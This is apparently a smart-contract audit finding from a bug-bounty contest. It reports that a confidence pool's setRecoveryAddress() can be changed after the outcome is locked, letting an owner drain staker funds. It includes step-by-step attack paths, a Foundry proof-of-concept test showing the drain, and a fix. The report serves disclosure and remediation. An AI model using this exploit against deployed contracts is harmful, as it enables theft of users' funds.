FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

Missing post-resolution guard in `setRecoveryAddress()` allows complete drain of pool funds after outcome is locked

Author Revealed upon completion

Short Summary

setRecoveryAddress() has no check that the pool outcome is still UNRESOLVED. A malicious or compromised pool owner can redirect recoveryAddress to an attacker-controlled wallet after flagOutcome() permanently locks the resolution, then trigger claimCorrupted() or sweepUnclaimedBonus() to drain 100% of staker principal and bonus to the attacker.

Root Cause

https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L611-L618

// src/ConfidencePool.sol L611-618
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
// NO GUARD: outcome can be CORRUPTED / SURVIVED / EXPIRED here
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

recoveryAddress is the sole destination for three sweep sinks:

  • claimCorrupted() L423 — transfers the entire corruptedReserve\ (stake + bonus)

  • sweepUnclaimedCorrupted() L468 — transfers expired attacker bounty

  • sweepUnclaimedBonus() L506 — transfers all unclaimed bonus

None of these sinks re-check that recoveryAddress was set before resolution.

Proper Description

The developer's intent is that recoveryAddress represents the pool sponsor's designated treasury — a pre-committed destination set before stakers join. Once the outcome is sealed by flagOutcome(), the accounting is frozen: corruptedReserve, snapshotTotalBonus, and all downstream claim amounts are computed from that snapshot.

The invariant the code relies on — but never enforces — is: "The recovery address is fixed once any party has acted on the resolution."

flagOutcome() correctly gates re-flagging via claimsStarted (line 327). But it does not protect the destination of the funds. Because setRecoveryAddress has no analogous guard, the owner retains the ability to silently swap the target wallet in the window between resolution and the first sweep call. Any subsequent sweep call (claimCorrupted, sweepUnclaimedBonus, sweepUnclaimedCorrupted) then sends to the new — attacker-controlled — address.

Internal Pre-condition

  1. The pool has received staker deposits (totalEligibleStake > 0) and/or bonus contributions (totalBonus > 0).

  2. The outcome has been set: flagOutcome() has been called with CORRUPTED (bad-faith or good-faith), OR the outcome is SURVIVED/EXPIRED with riskWindowStart == 0 (full bonus sweepable).

  3. No sweep function has been called yet (claimCorrupted / sweepUnclaimedBonus not yet triggered).

External Pre-condition

  1. The pool owner (sponsor) is malicious or their private key is compromised.

  2. No time constraint — the attack can execute in the same block as flagOutcome.

Details Attack Path

Vector A — Bad-Faith CORRUPTED (staker principal theft):

  1. Alice, Bob, and Carol stake/contribute totalling 190 ONE into the pool.

  2. The underlying agreement is breached; the registry reaches CORRUPTED.

  3. The moderator (DAO) calls flagOutcome(CORRUPTED, false, address(0))corruptedReserve = 190 ONE, outcome locked.

  4. Pool owner calls setRecoveryAddress(exploiter) — no revert because line 611 has no outcome guard.

  5. Any caller (attacker or bystander) calls claimCorrupted().

  6. L423: stakeToken.safeTransfer(recoveryAddress, toSweep)190 ONE flows to exploiter.

  7. Alice, Bob, and Carol receive zero tokens.

Vector B — SURVIVED / no-risk-window (bonus sponsor theft):

  1. Carol contributes 50 ONE bonus. Alice stakes 100 ONE.

  2. Registry moves to PRODUCTION without ever entering UNDER_ATTACKriskWindowStart == 0.

  3. Moderator calls flagOutcome(SURVIVED, false, address(0)).

  4. Pool owner calls setRecoveryAddress(exploiter).

  5. Pool owner (or anyone) calls sweepUnclaimedBonus().

  6. Since riskWindowStart == 0, all 50 ONE is free balance → transferred to exploiter.

Impact

100% loss of funds held in the pool at resolution time. In the bad-faith CORRUPTED path this includes all staker principal plus all contributed bonus. In the SURVIVED/EXPIRED no-risk-window path this includes all bonus contributions. The attack is atomic (same transaction), permissionless to trigger (anyone can call claimCorrupted), and leaves no on-chain trace distinguishing it from a legitimate sweep.

Proof of Concept

forge test --match-path "test/audit/H1*" -vvv
# [PASS] testPoC_H1_CorruptedSweepRedirectToAttacker()
# [PASS] testPoC_H1_SurvivedBonusSweepRedirectToAttacker()
// test/audit/H1_RecoveryAddressRedirect.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract H1_RecoveryAddressRedirectPoC is BaseConfidencePoolTest {
address internal exploiter = makeAddr("exploiter");
function testPoC_H1_CorruptedSweepRedirectToAttacker() external {
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
_contributeBonus(carol, 40 * ONE);
// pool = 190 ONE
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
assertEq(pool.corruptedReserve(), 190 * ONE);
// EXPLOIT: redirect post-resolution — no revert
pool.setRecoveryAddress(exploiter);
assertEq(pool.recoveryAddress(), exploiter);
uint256 before = token.balanceOf(exploiter);
pool.claimCorrupted();
assertEq(token.balanceOf(exploiter) - before, 190 * ONE,
"exploiter drained entire pool");
assertEq(token.balanceOf(alice), 0, "alice robbed");
assertEq(token.balanceOf(bob), 0, "bob robbed");
}
function testPoC_H1_SurvivedBonusSweepRedirectToAttacker() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
// No active-risk observed: riskWindowStart == 0
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// EXPLOIT
pool.setRecoveryAddress(exploiter);
uint256 before = token.balanceOf(exploiter);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(exploiter) - before, 50 * ONE,
"bonus swept to exploiter instead of rightful recovery");
}
}

Mitigation

// src/ConfidencePool.sol
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
+ if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!